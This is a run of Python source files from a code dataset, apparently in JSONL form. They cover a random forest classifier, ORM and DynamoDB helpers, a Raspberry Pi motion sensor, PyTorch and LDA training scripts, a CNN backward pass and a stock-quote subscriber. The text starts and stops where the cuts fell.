error.\n\n n_jobs : integer, optional (default=1)\n The number of jobs to run in parallel for both `fit` and `predict`.\n If -1, then the number of jobs is set to the number of cores.\n\n random_state : int, RandomState instance or None, optional (default=None)\n If int, random_state is the seed used by the random number generator;\n If RandomState instance, random_state is the random number generator;\n If None, the random number generator is the RandomState instance used\n by `np.random`.\n\n verbose : int, optional (default=0)\n Controls the verbosity of the tree building process.\n\n warm_start : bool, optional (default=False)\n When set to ``True``, reuse the solution of the previous call to fit\n and add more estimators to the ensemble, otherwise, just fit a whole\n new forest.\n\n class_weight : dict, list of dicts, \"balanced\", \"balanced_subsample\" or None, optional\n\n Weights associated with classes in the form ``{class_label: weight}``.\n If not given, all classes are supposed to have weight one. For\n multi-output problems, a list of dicts can be provided in the same\n order as the columns of y.\n\n The \"balanced\" mode uses the values of y to automatically adjust\n weights inversely proportional to class frequencies in the input data\n as ``n_samples / (n_classes * np.bincount(y))``\n\n The \"balanced_subsample\" mode is the same as \"balanced\" except that weights are\n computed based on the bootstrap sample for every tree grown.\n\n For multi-output, the weights of each column of y will be multiplied.\n\n Note that these weights will be multiplied with sample_weight (passed\n through the fit method) if sample_weight is specified.\n\n Attributes\n ----------\n estimators_ : list of DecisionTreeClassifier\n The collection of fitted sub-estimators.\n\n classes_ : array of shape = [n_classes] or a list of such arrays\n The classes labels (single output problem), or a list of arrays of\n class labels (multi-output problem).\n\n n_classes_ : int or list\n The number of classes (single output problem), or a list containing the\n number of classes for each output (multi-output problem).\n\n n_features_ : int\n The number of features when ``fit`` is performed.\n\n n_outputs_ : int\n The number of outputs when ``fit`` is performed.\n\n feature_importances_ : array of shape = [n_features]\n The feature importances (the higher, the more important the feature).\n\n oob_score_ : float\n Score of the training dataset obtained using an out-of-bag estimate.\n\n oob_decision_function_ : array of shape = [n_samples, n_classes]\n Decision function computed with out-of-bag estimate on the training\n set. If n_estimators is small it might be possible that a data point\n was never left out during the bootstrap. In this case,\n `oob_decision_function_` might contain NaN.\n\n References\n ----------\n\n .. [1] L. Breiman, \"Random Forests\", Machine Learning, 45(1), 5-32, 2001.\n\n See also\n --------\n DecisionTreeClassifier, ExtraTreesClassifier\n \"\"\"\n def __init__(self,\n splitter = None,\n n_estimators=10,\n criterion=\"gini\",\n max_depth=None,\n min_samples_split=2,\n min_samples_leaf=1,\n min_weight_fraction_leaf=0.,\n max_features=\"auto\",\n max_leaf_nodes=None,\n bootstrap=True,\n oob_score=False,\n n_jobs=1,\n random_state=None,\n verbose=0,\n warm_start=False,\n class_weight=None):\n super(RandomForestClassifier, self).__init__(\n base_estimator=DecisionTreeClassifier(splitter=splitter,criterion = criterion),\n n_estimators=n_estimators,\n estimator_params=(\"splitter\",\"criterion\", \"max_depth\", \"min_samples_split\",\n \"min_samples_leaf\", \"min_weight_fraction_leaf\",\n \"max_features\", \"max_leaf_nodes\",\n \"random_state\"),\n bootstrap=bootstrap,\n oob_score=oob_score,\n n_jobs=n_jobs,\n random_state=random_state,\n verbose=verbose,\n warm_start=warm_start,\n class_weight=class_weight)\n\n self.criterion = criterion\n self.max_depth = max_depth\n self.min_samples_split = min_samples_split\n self.min_samples_leaf = min_samples_leaf\n self.min_weight_fraction_leaf = min_weight_fraction_leaf\n self.max_features = max_features\n self.max_leaf_nodes = max_leaf_nodes\n self.splitter = splitter\n","sub_path":"skmultilearn/ensemble/pctrandomforest.py","file_name":"pctrandomforest.py","file_ext":"py","file_size_in_byte":8573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"158243238","text":"#!/usr/bin/evn python\n# -*- coding:utf-8 -*-\n# Author: king\n#while循环\n'''\ncount=0\nwhile True:\n count +=1\n if count<5:\n print(\"%s is ok !\" %count)\n if count >=5 and count<10:\n print(\"%s is not ok !\" % count)\n if count==10:\n print(\"%s over!\"%count)\n break\n'''\n#----while-------\ncount=0\nwhile count<10:\n count+=1\n if count<6:\n print(\"%s is ok !\" %count)\n else:\n print(\"%s is not ok !\" % count)\n\n","sub_path":"day2/2.4-while.py","file_name":"2.4-while.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"35728244","text":"from chapter04.models.model import Suppliner, Goods\nfrom chapter04.data import supplier_list, goods_list\n\n\ndef save_model():\n for data in supplier_list:\n supplier = Suppliner()\n supplier.name = data[\"name\"]\n supplier.address = data[\"address\"]\n supplier.phone = data[\"phone\"]\n supplier.save()\n\n for data in goods_list:\n good = Goods(**data)\n good.save()\n\n\n# 查询数据\ndef query_model():\n \"\"\"\n 获取某条数据\n # 方法1:\n good1 = Goods.get(Goods.id == 1)\n # 方法2:\n good2 = Goods.get_by_id(1)\n # 方法3:\n good3 = Goods[1]\n print(good1.name+'\\n' + good2.name+'\\n' + good3.name)\n \"\"\"\n\n \"\"\"\n 获取所有数据\n 1.返回指定的数据 下语句返回的是物品的名称与价格\n goods = Goods.select(Goods.name, Goods.price_num)\n \n 2.select * from goods where price > 100 的实现\n goods = Goods.select().where(Goods.price>100)\n \n 3.select * from goods where price > 100 and click_num >200 的实现\n goods = Goods.select().where((Goods.price>100) & (Goods.click_num>200))\n \n 4.select * from goods where name like \"%飞天\"\n goods = Goods.select().where((Goods.name.contains(\"飞天\"))\n \n 5. 排序\n 升序\n goods = Goods.select().order_by(Goods.price.asc())\n goods = Goods.select().order_by(Goods.price) \n 降序\n goods = Goods.select().order_by(Goods.price.desc()) \n goods = Goods.select().order_by(-Goods.price)\n \n # 分页\n goods = Goods.select().order_by(Goods.price).paginate(2,2) \n \n \"\"\"\n # select * from goods\n goods = Goods.select()\n for good in goods:\n print(good.name)\n\n\n# 更新数据\ndef update_model():\n # 增加click_num数量\n good = Goods.get_by_id(1)\n good.click_num += 1\n good.save()\n\n # update click_num=100 where id = 1 需要调用execute()才能执行\n Goods.update(click_num=100).where(Goods.id == 1).execute()\n\n # 删除当前记录\n # good.delete_instance()\n\n # delete freom goods from where price > 150\n Goods.delete().where(Goods.price_num > 150).execute()\n\n\nif __name__ == '__main__':\n # save_model()\n query_model()\n","sub_path":"tornado_overview/chapter04/peewee_test.py","file_name":"peewee_test.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"540967837","text":"\n # Motion detection using PIR on raspberry Pi\n\n\nimport RPi.GPIO as GPIO\n\nPIR_input = 19#read PIR Output\n#PIR_input = 21\n\n#FAN = 16\nLED = 13 #LED for signalling motion detected \nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BOARD) #choose pin no. system\nGPIO.setup(PIR_input, GPIO.IN) \nGPIO.setup(LED, GPIO.OUT)\nGPIO.output(LED, GPIO.LOW)\n#GPIO.setup(FAN, GPIO.OUT)\n#GPIO.output(FAN, GPIO.LOW)\n\nwhile True:\n#when motion detected turn on LED\n if(GPIO.input(PIR_input)):\n GPIO.output(LED, GPIO.HIGH)\n #GPIO.output(FAN, GPIO.HIGH)\n else:\n GPIO.output(LED, GPIO.LOW)\n #GPIO.output(FAN, GPIO.LOW)","sub_path":"motion_light.py","file_name":"motion_light.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"75697717","text":"#!/usr/bin/env python\n\nimport os, sys, cv2, math\nimport random, json, logz\nimport numpy as np\nimport os.path as osp\nfrom copy import deepcopy\nfrom config import get_config\nimport matplotlib.pyplot as plt\nfrom glob import glob\nfrom utils import *\nfrom optim import Optimizer\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\n\nfrom modules.image_synthesis_model import ImageSynthesisModel\n\nsp=256\n\nclass ImageSynthesisTrainer(object):\n def __init__(self, config):\n self.cfg = config\n net = ImageSynthesisModel(config)\n if self.cfg.cuda:\n if self.cfg.parallel and torch.cuda.device_count() > 1:\n print(\"Let's use\", torch.cuda.device_count(), \"GPUs!\")\n net = nn.DataParallel(net)\n net = net.cuda()\n self.net = net\n if self.cfg.pretrained is not None:\n self.load_pretrained_net(self.cfg.pretrained)\n\n def load_pretrained_net(self, pretrained_name):\n cache_dir = osp.join(self.cfg.data_dir, 'caches')\n pretrained_path = osp.join(cache_dir, 'synthesis_ckpts', pretrained_name+'.pkl')\n assert osp.exists(pretrained_path)\n if self.cfg.cuda:\n states = torch.load(pretrained_path)\n else:\n states = torch.load(pretrained_path, map_location=lambda storage, loc: storage)\n self.net.load_state_dict(states)\n\n def save_checkpoint(self):\n print(\" [*] Saving checkpoints...\")\n if self.cfg.cuda and self.cfg.parallel:\n net = self.net.module\n else:\n net = self.net\n checkpoint_dir = osp.join(self.cfg.model_dir, 'synthesis_ckpts')\n if not osp.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n model_name = \"ckpt-best.pkl\"\n torch.save(net.state_dict(), osp.join(checkpoint_dir, model_name))\n\n def batch_data(self, entry):\n ################################################\n # Inputs\n ################################################\n proposal_images = entry['proposal_image'].float()\n proposal_labels = entry['proposal_label'].float()\n proposal_masks = entry['proposal_mask'].float()\n gt_images = entry['gt_image'].float()\n gt_labels = entry['gt_label'].float()\n\n inputs = torch.cat([proposal_images, proposal_labels, proposal_masks], 1)\n\n inputs = F.interpolate(inputs, size=[sp, 2*sp], mode='bilinear', align_corners=True)\n proposal_labels = F.interpolate(proposal_labels, size=[sp, 2*sp], mode='bilinear', align_corners=True)\n gt_images = F.interpolate(gt_images, size=[sp, 2*sp], mode='bilinear', align_corners=True)\n gt_labels = F.interpolate(gt_labels, size=[sp, 2*sp], mode='bilinear', align_corners=True)\n\n if self.cfg.cuda:\n inputs = inputs.cuda()\n proposal_labels = proposal_labels.cuda()\n gt_images = gt_images.cuda()\n gt_labels = gt_labels.cuda()\n\n return inputs, proposal_labels, gt_images, gt_labels\n\n def weighted_l1_loss(self, inputs, targets, weights):\n d = torch.abs(inputs - targets)\n d = torch.mean(d, 1, keepdim=True)\n d = d * weights\n bsize, nlabels, h, w = d.size()\n d = torch.transpose(d, 0, 1).contiguous()\n d = d.view(nlabels, -1)\n d = torch.mean(d, -1)\n return torch.sum(d)\n\n def compute_loss(self, proposal_labels,\n synthesized_images, gt_images,\n synthesized_features, gt_features,\n synthesized_labels, gt_labels):\n '''\n proposal_labels: masks used to weight the loss\n '''\n\n loss_wei = [1.0/2.6, 1.0/4.8, 1.0/3.7, 1.0/5.6, 1.0/0.15]\n ####################################################################\n # Prediction loss\n ####################################################################\n cross_entropy_metric = nn.CrossEntropyLoss()\n bsize, nlabels, h, w = gt_labels.size()\n gt_labels = torch.transpose(gt_labels, 1, 3).contiguous()\n synthesized_labels = torch.transpose(synthesized_labels, 1, 3).contiguous()\n gt_labels = gt_labels.view(-1, nlabels)\n synthesized_labels = synthesized_labels.view(-1, nlabels)\n pred_loss = cross_entropy_metric(synthesized_labels, torch.max(gt_labels, -1)[-1])\n\n ####################################################################\n # Perceptual_loss\n ####################################################################\n\n p1_weights = F.interpolate(proposal_labels, size=[gt_features[1].size(2), gt_features[1].size(3)], mode='bilinear', align_corners=True)\n p2_weights = F.interpolate(proposal_labels, size=[gt_features[2].size(2), gt_features[2].size(3)], mode='bilinear', align_corners=True)\n p3_weights = F.interpolate(proposal_labels, size=[gt_features[3].size(2), gt_features[3].size(3)], mode='bilinear', align_corners=True)\n p4_weights = F.interpolate(proposal_labels, size=[gt_features[4].size(2), gt_features[4].size(3)], mode='bilinear', align_corners=True)\n\n pi = self.weighted_l1_loss(synthesized_images, gt_images, proposal_labels)\n p0 = self.weighted_l1_loss(synthesized_features[0], gt_features[0], proposal_labels)\n p1 = self.weighted_l1_loss(synthesized_features[1], gt_features[1], p1_weights)\n p2 = self.weighted_l1_loss(synthesized_features[2], gt_features[2], p2_weights)\n p3 = self.weighted_l1_loss(synthesized_features[3], gt_features[3], p3_weights)\n p4 = self.weighted_l1_loss(synthesized_features[4], gt_features[4], p4_weights)\n\n ####################################################################\n # Weighted loss\n ####################################################################\n loss = pi + p0 * loss_wei[0] + p1 * loss_wei[1] + p2 * loss_wei[2] + p3 * loss_wei[3] + p4 * loss_wei[4] + 10 * pred_loss\n losses = torch.stack([loss.clone(), pred_loss, pi, p0, p1, p2, p3, p4]).flatten()\n return loss, losses\n\n def train(self, train_db, val_db):\n ##################################################################\n ## Optimizer\n ##################################################################\n if self.cfg.cuda and self.cfg.parallel:\n net = self.net.module\n else:\n net = self.net\n optimizer = optim.Adam([\n {'params': net.encoder.parameters()},\n {'params': net.decoder.parameters()}\n ], lr=self.cfg.lr)\n\n ##################################################################\n ## LOG\n ##################################################################\n logz.configure_output_dir(self.cfg.model_dir)\n logz.save_config(self.cfg)\n\n ##################################################################\n ## Main loop\n ##################################################################\n start = time()\n min_val_loss = 100000000\n\n for epoch in range(self.cfg.n_epochs):\n ##################################################################\n ## Training\n ##################################################################\n torch.cuda.empty_cache()\n train_loss = self.train_epoch(train_db, optimizer, epoch)\n\n ##################################################################\n ## Validation\n ##################################################################\n torch.cuda.empty_cache()\n val_loss = self.validate_epoch(val_db, epoch)\n # val_loss = train_loss\n\n ##################################################################\n ## Sample\n ##################################################################\n torch.cuda.empty_cache()\n self.sample(epoch, val_db, self.cfg.n_samples)\n torch.cuda.empty_cache()\n ##################################################################\n ## Logging\n ##################################################################\n\n # update optim scheduler\n current_val_loss = np.mean(val_loss)\n\n logz.log_tabular(\"Time\", time() - start)\n logz.log_tabular(\"Iteration\", epoch)\n logz.log_tabular(\"AverageTotalError\", np.mean(train_loss[:, 0]))\n logz.log_tabular(\"AveragePredError\", np.mean(train_loss[:, 1]))\n logz.log_tabular(\"AverageImageError\", np.mean(train_loss[:, 2]))\n logz.log_tabular(\"AverageFeat0Error\", np.mean(train_loss[:, 3]))\n logz.log_tabular(\"AverageFeat1Error\", np.mean(train_loss[:, 4]))\n logz.log_tabular(\"AverageFeat2Error\", np.mean(train_loss[:, 5]))\n logz.log_tabular(\"AverageFeat3Error\", np.mean(train_loss[:, 6]))\n logz.log_tabular(\"AverageFeat4Error\", np.mean(train_loss[:, 7]))\n logz.log_tabular(\"ValAverageTotalError\", np.mean(val_loss[:, 0]))\n logz.log_tabular(\"ValAveragePredError\", np.mean(val_loss[:, 1]))\n logz.log_tabular(\"ValAverageImageError\", np.mean(val_loss[:, 2]))\n logz.log_tabular(\"ValAverageFeat0Error\", np.mean(val_loss[:, 3]))\n logz.log_tabular(\"ValAverageFeat1Error\", np.mean(val_loss[:, 4]))\n logz.log_tabular(\"ValAverageFeat2Error\", np.mean(val_loss[:, 5]))\n logz.log_tabular(\"ValAverageFeat3Error\", np.mean(val_loss[:, 6]))\n logz.log_tabular(\"ValAverageFeat4Error\", np.mean(val_loss[:, 7]))\n logz.dump_tabular()\n\n ##################################################################\n ## Checkpoint\n ##################################################################\n if min_val_loss > current_val_loss:\n min_val_loss = current_val_loss\n self.save_checkpoint()\n torch.cuda.empty_cache()\n\n def train_epoch(self, train_db, optimizer, epoch):\n\n loader = DataLoader(train_db, batch_size=self.cfg.batch_size, shuffle=True,\n num_workers=self.cfg.num_workers)\n errors_list = []\n if self.cfg.cuda and self.cfg.parallel:\n net = self.net.module\n else:\n net = self.net\n\n for cnt, batched in enumerate(loader):\n ##################################################################\n ## Batched data\n ##################################################################\n inputs, proposal_labels, gt_images, gt_labels = self.batch_data(batched)\n\n ##################################################################\n ## Train one step\n ##################################################################\n self.net.train()\n self.net.zero_grad()\n synthesized_images, synthesized_labels, synthesized_features, gt_features = \\\n self.net(inputs, True, gt_images)\n\n loss, losses = self.compute_loss(proposal_labels,\n synthesized_images, gt_images,\n synthesized_features, gt_features,\n synthesized_labels, gt_labels)\n loss.backward()\n optimizer.step()\n\n ##################################################################\n ## Collect info\n ##################################################################\n errors_list.append(losses.cpu().data.numpy().flatten())\n\n ##################################################################\n ## Print info\n ##################################################################\n if cnt % self.cfg.log_per_steps == 0:\n tmp = np.stack(errors_list, 0)\n print('Epoch %03d, iter %07d:'%(epoch, cnt))\n print(np.mean(tmp[:,0]), np.mean(tmp[:,1]), np.mean(tmp[:,2]))\n print(np.mean(tmp[:,3]), np.mean(tmp[:,4]), np.mean(tmp[:,5]), np.mean(tmp[:,6]), np.mean(tmp[:,7]))\n print('-------------------------')\n\n return np.array(errors_list)\n\n def validate_epoch(self, val_db, epoch):\n loader = DataLoader(val_db, batch_size=self.cfg.batch_size, shuffle=False,\n num_workers=self.cfg.num_workers)\n\n errors_list = []\n if self.cfg.cuda and self.cfg.parallel:\n net = self.net.module\n else:\n net = self.net\n\n for cnt, batched in enumerate(loader):\n ##################################################################\n ## Batched data\n ##################################################################\n inputs, proposal_labels, gt_images, gt_labels = self.batch_data(batched)\n\n ##################################################################\n ## Train one step\n ##################################################################\n self.net.eval()\n with torch.no_grad():\n synthesized_images, synthesized_labels, synthesized_features, gt_features = \\\n self.net(inputs, True, gt_images)\n loss, losses = self.compute_loss(proposal_labels,\n synthesized_images, gt_images,\n synthesized_features, gt_features,\n synthesized_labels, gt_labels)\n\n ##################################################################\n ## Collect info\n ##################################################################\n errors_list.append(losses.cpu().data.numpy().flatten())\n\n ##################################################################\n ## Print info\n ##################################################################\n if cnt % self.cfg.log_per_steps == 0:\n tmp = np.stack(errors_list, 0)\n print('Val epoch %03d, iter %07d:'%(epoch, cnt))\n print(np.mean(tmp[:,0]), np.mean(tmp[:,1]), np.mean(tmp[:,2]))\n print(np.mean(tmp[:,3]), np.mean(tmp[:,4]), np.mean(tmp[:,5]), np.mean(tmp[:,6]), np.mean(tmp[:,7]))\n print('-------------------------')\n\n return np.array(errors_list)\n\n def sample(self, epoch, test_db, N, random_or_not=False):\n ##############################################################\n # Output prefix\n ##############################################################\n plt.switch_backend('agg')\n output_dir = osp.join(self.cfg.model_dir, '%03d'%epoch, 'vis')\n maybe_create(output_dir)\n\n ##############################################################\n # Main loop\n ##############################################################\n loader = DataLoader(test_db, batch_size=1, shuffle=random_or_not)\n\n if self.cfg.cuda and self.cfg.parallel:\n net = self.net.module\n else:\n net = self.net\n\n max_cnt = min(N, len(test_db))\n\n for cnt, batched in enumerate(loader):\n ##################################################################\n ## Batched data\n ##################################################################\n inputs, proposal_labels, gt_images, gt_labels = self.batch_data(batched)\n\n ##################################################################\n ## Train one step\n ##################################################################\n self.net.eval()\n with torch.no_grad():\n synthesized_images, synthesized_labels, _, _ = \\\n self.net(inputs, False, None)\n\n synthesized_image = unnormalize(synthesized_images[0].cpu().data.numpy())\n gt_image = unnormalize(gt_images[0].cpu().data.numpy())\n synthesized_label = synthesized_labels[0].cpu().data.numpy()\n synthesized_label = test_db.decode_semantic_map(synthesized_label)\n gt_label = gt_labels[0].cpu().data.numpy()\n gt_label = test_db.decode_semantic_map(gt_label)\n\n\n fig = plt.figure(figsize=(32, 32))\n plt.subplot(2, 2, 1)\n plt.imshow(clamp_array(synthesized_image[:, :, ::-1], 0, 255).astype(np.uint8))\n plt.axis('off')\n plt.subplot(2, 2, 2)\n plt.imshow(clamp_array(gt_image[:, :, ::-1], 0, 255).astype(np.uint8))\n plt.axis('off')\n plt.subplot(2, 2, 3)\n plt.imshow(clamp_array(synthesized_label, 0, 255).astype(np.uint8))\n plt.axis('off')\n plt.subplot(2, 2, 4)\n plt.imshow(clamp_array(gt_label, 0, 255).astype(np.uint8))\n plt.axis('off')\n\n image_idx = batched['image_index'][0]\n name = '%03d_'%cnt + str(image_idx).zfill(8)\n out_path = osp.join(output_dir, name+'.png')\n\n fig.savefig(out_path, bbox_inches='tight')\n plt.close(fig)\n print('sampling: %d, %d'%(epoch, cnt))\n\n if cnt >= max_cnt:\n break\n","sub_path":"lib/modules/image_synthesis_trainer.py","file_name":"image_synthesis_trainer.py","file_ext":"py","file_size_in_byte":17288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"90555124","text":"from asyncdynamo.orm.session import Session\nfrom tornado import gen\n\nimport json\n\n\nclass Table(object):\n def __init__(self, name, key):\n self.name = name\n self.key = key\n\n def _get_keyschema(self):\n return {\"HashKeyElement\": {\"AttributeName\": self.key, \"AttributeType\": \"S\"}}\n\n @staticmethod\n @gen.engine\n def get_or_create(self, name, key, callback):\n\n table = Table(name, key)\n\n table_exist = yield gen.Task(table.exist)\n if not table_exist:\n yield gen.Task(table.create)\n\n callback(table)\n\n @gen.engine\n def exist(self, callback):\n session = Session()\n\n response, error = yield gen.Task(session.make_request, action='DescribeTable', body=json.dumps({\"TableName\": self.name}))\n\n if error:\n callback(False)\n else:\n callback(True)\n\n @gen.engine\n def create(self, callback):\n session = Session()\n table_data = {\n \"TableName\": self.name,\n \"KeySchema\": self._get_keyschema(),\n \"ProvisionedThroughput\": {\"ReadCapacityUnits\": 5, \"WriteCapacityUnits\": 10}\n }\n\n response, error = yield gen.Task(session.make_request, action='CreateTable', body=json.dumps(table_data))\n\n callback(response, error)\n\n @gen.engine\n def drop(self, callback):\n session = Session()\n table_data = {\n \"TableName\": self.name,\n }\n\n response, error = yield gen.Task(session.make_request, action='DeleteTable', body=json.dumps(table_data))\n callback(response[0])\n\n @gen.engine\n def put_item(self, item, callback):\n session = Session()\n\n response, error = yield gen.Task(session.put_item, self.name, item)\n\n if error and error['error'] and 'resource not found' in error['error'].reason:\n yield gen.Task(self.create)\n response, error = yield gen.Task(session.put_item, self.name, item)\n\n callback(response[0])\n\n @gen.engine\n def get_item(self, item, callback):\n session = Session()\n\n response, error = yield gen.Task(session.get_item, self.name, item)\n\n if error and error['error'] and 'resource not found' in error['error'].reason:\n yield gen.Task(self.create)\n response, error = yield gen.Task(session.get_item, self.name, item)\n\n callback(response[0])\n\n @gen.engine\n def query(self, callback=None, *args, **kwargs):\n session = Session()\n\n response, error = yield gen.Task(session.query, self.name, *args, **kwargs)\n\n if error and error['error'] and 'resource not found' in error['error'].reason:\n yield gen.Task(self.create)\n response, error = yield gen.Task(session.query, self.name, *args, **kwargs)\n\n callback(response[0])\n","sub_path":"asyncdynamo/orm/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"599521897","text":"\n# coding: utf-8\n\n# In[14]:\n\n\nimport pandas as pd\nimport nltk\nimport logging\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\n\n\n# In[8]:\n\n\ndf = pd.read_table(\"./careerData.txt\")\ndf = df [['Title','Description']]\ndf.columns=['title','desc']\n\n\n# In[9]:\n\n\n#display(df)\n\n\n# In[10]:\n\n\n#strip any proper names from a text...unfortunately right now this is yanking the first word from a sentence too.\nimport string\ndef strip_proppers(text):\n # first tokenize by sentence, then by word to ensure that punctuation is caught as it's own token\n tokens = [word for sent in nltk.sent_tokenize(text) for word in nltk.word_tokenize(sent) if word.islower()]\n return \"\".join([\" \"+i if not i.startswith(\"'\") and i not in string.punctuation else i for i in tokens]).strip()\n\n\n# In[11]:\n\n\n#strip any proper nouns (NNP) or plural proper nouns (NNPS) from a text\nfrom nltk.tag import pos_tag\n\ndef strip_proppers_POS(text):\n tagged = pos_tag(text.split()) #use NLTK's part of speech tagger\n non_propernouns = [word for word,pos in tagged if pos != 'NNP' and pos != 'NNPS']\n return non_propernouns\n\n\n# In[16]:\n\n\n# here I define a tokenizer and stemmer which returns the set of stems in the text that it is passed\n\ndef tokenize_and_stem(text):\n # first tokenize by sentence, then by word to ensure that punctuation is caught as it's own token\n tokens = [word for sent in nltk.sent_tokenize(text) for word in nltk.word_tokenize(sent)]\n filtered_tokens = []\n # filter out any tokens not containing letters (e.g., numeric tokens, raw punctuation)\n for token in tokens:\n if re.search('[a-zA-Z]', token):\n filtered_tokens.append(token)\n stems = [stemmer.stem(t) for t in filtered_tokens]\n return stems\n\n\ndef tokenize_only(text):\n # first tokenize by sentence, then by word to ensure that punctuation is caught as it's own token\n tokens = [word.lower() for sent in nltk.sent_tokenize(text) for word in nltk.word_tokenize(sent)]\n filtered_tokens = []\n # filter out any tokens not containing letters (e.g., numeric tokens, raw punctuation)\n for token in tokens:\n if re.search('[a-zA-Z]', token):\n filtered_tokens.append(token)\n return filtered_tokens\n\n\n# In[20]:\n\n\nfrom gensim import corpora, models, similarities \nimport re\nfrom nltk.stem.snowball import SnowballStemmer\n# load nltk's English stopwords as variable called 'stopwords'\nstopwords = nltk.corpus.stopwords.words('english')\nstemmer = SnowballStemmer(\"english\")\n\n\n# In[21]:\n\n\n#remove proper names\npreprocess = [strip_proppers(doc) for doc in df['desc']]\n\n#tokenize\ntokenized_text = [tokenize_and_stem(text) for text in preprocess]\n\n#remove stop words\ntexts = [[word for word in text if word not in stopwords] for text in tokenized_text]\n\n\n# In[22]:\n\n\n#create a Gensim dictionary from the texts\ndictionary = corpora.Dictionary(texts)\n\n#remove extremes (similar to the min/max df step used when creating the tf-idf matrix)\ndictionary.filter_extremes(no_below=1, no_above=0.8)\n\n#convert the dictionary to a bag of words corpus for reference\ncorpus = [dictionary.doc2bow(text) for text in texts]\n\n\n# In[25]:\n\n\nlda = models.LdaMulticore(corpus, num_topics=100, id2word=dictionary, chunksize=10000, passes=100)\n\n\n\n# In[26]:\n\n\nlda.save(\"ldaResult\")\n\n#import numpy as np\n\n# In[ ]:\n\n\n#topics_matrix = lda.show_topics(formatted=False, num_words=20)\n#topics_matrix = np.array(topics_matrix)\n#numpy.savetxt(\"careerTopics.csv\", topics_matrix, delimiter=\",\")\n#topic_words = topics_matrix[:,:,1]\n#for i in topic_words:\n# print([str(word) for word in i])\n# print()\n\n","sub_path":"lda.py","file_name":"lda.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"382461423","text":"import numpy as np\ndef solution(array):\n# array = np.arange(range(12, 38))\n# print(array)\n\n# array=(12, 38, 14)\n y = array[::-1]\n print(y)\n return (y)\nsolution((12, 38, 14))\n","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"458810084","text":"#!/usr/bin/env python3\n\"\"\" Script to backward propagate over a pooling layer in a NN\"\"\"\n\nimport numpy as np\n\n\ndef conv_backward(dZ, A_prev, W, b, padding=\"same\", stride=(1, 1)):\n \"\"\"\n Function to backward propagate over a convolutional layer in a NN\n Args:\n Returns: the partial derivatives with respect to the previous layer\n (dA_prev), the kernels (dW), and the biases (db), respectively\n \"\"\"\n (m, h_prev, w_prev, c_prev) = A_prev.shape\n (m, h_new, w_new, c_new) = dZ.shape\n (kh, kw, c_prev, c_new) = W.shape\n sh, sw = stride\n\n if padding == 'same':\n ph = int(np.ceil((((h_prev - 1) * sh + kh - h_prev) / 2)))\n pw = int(np.ceil((((w_prev - 1) * sw + kw - w_prev) / 2)))\n if padding == 'valid':\n pw = 0\n ph = 0\n\n dA_prev = np.zeros(A_prev.shape)\n dW = np.zeros(W.shape)\n db = np.sum(dZ, axis=(0, 1, 2), keepdims=True)\n A_prev_pad = np.pad(A_prev, pad_width=((0, 0), (ph, ph), (pw, pw),\n (0, 0)), mode='constant')\n dA_prev_pad = np.pad(dA_prev, pad_width=((0, 0), (ph, ph), (pw, pw),\n (0, 0)), mode='constant')\n\n for i in range(m):\n a_prev_pad = A_prev_pad[i]\n da_prev_pad = dA_prev_pad[i]\n for h in range(h_new):\n for w in range(w_new):\n for c in range(c_new):\n v_start = h * sh\n v_end = v_start + kh\n h_start = w * sw\n h_end = h_start + kw\n a_slice = a_prev_pad[v_start:v_end, h_start:h_end]\n\n # update gradients for the window filter param\n da_prev_pad[v_start:v_end,\n h_start:h_end] += \\\n W[:, :, :, c] * dZ[i, h, w, c]\n dW[:, :, :, c] += a_slice * dZ[i, h, w, c]\n\n if padding == 'same':\n # set the ith training example dA_prev to unppaded da_prev_pad\n dA_prev[i, :, :, :] += da_prev_pad[ph:-ph, pw:-pw, :]\n if padding == 'valid':\n dA_prev[i, :, :, :] += da_prev_pad\n\n return dA_prev, dW, db\n","sub_path":"supervised_learning/0x07-cnn/2-conv_backward.py","file_name":"2-conv_backward.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"114196906","text":"import win32com.client\nfrom datetime import datetime\n\n\nclass _CpEvent:\n def set_params(self, obj, code, callback):\n self.obj = obj\n self.code = code\n self.callback = callback\n\n def OnReceived(self):\n d = {}\n for i in range(9):\n d[str(i)] = self.obj.GetHeaderValue(i)\n d['date'] = datetime.now()\n self.callback(self.code, [d])\n\n\nclass _SubjectRealtime:\n def __init__(self, code, callback):\n self.code = code\n self.obj = win32com.client.gencache.EnsureDispatch(\"DsCbo1.CpSvr8091S\")\n self.handler = win32com.client.WithEvents(self.obj, _CpEvent)\n self.obj.SetInputValue(0, \"*\")\n self.obj.SetInputValue(1, self.code)\n self.handler.set_params(self.obj, self.code, callback)\n\n def subscribe(self):\n self.obj.Subscribe()\n\n def unsubscribe(self):\n self.obj.Unsubscribe()\n\n\nclass TradeSubject:\n def __init__(self, code, callback):\n self.started = False\n self.code = code\n self.subject_realtime = _SubjectRealtime(code, callback)\n\n def start_subscribe(self):\n if not self.started:\n self.started = True\n self.subject_realtime.subscribe()\n print('START subject subscribe', self.code)\n\n def stop_subscribe(self):\n if self.started:\n self.started = False\n self.subject_realtime.unsubscribe()\n print('STOP subject subscribe', 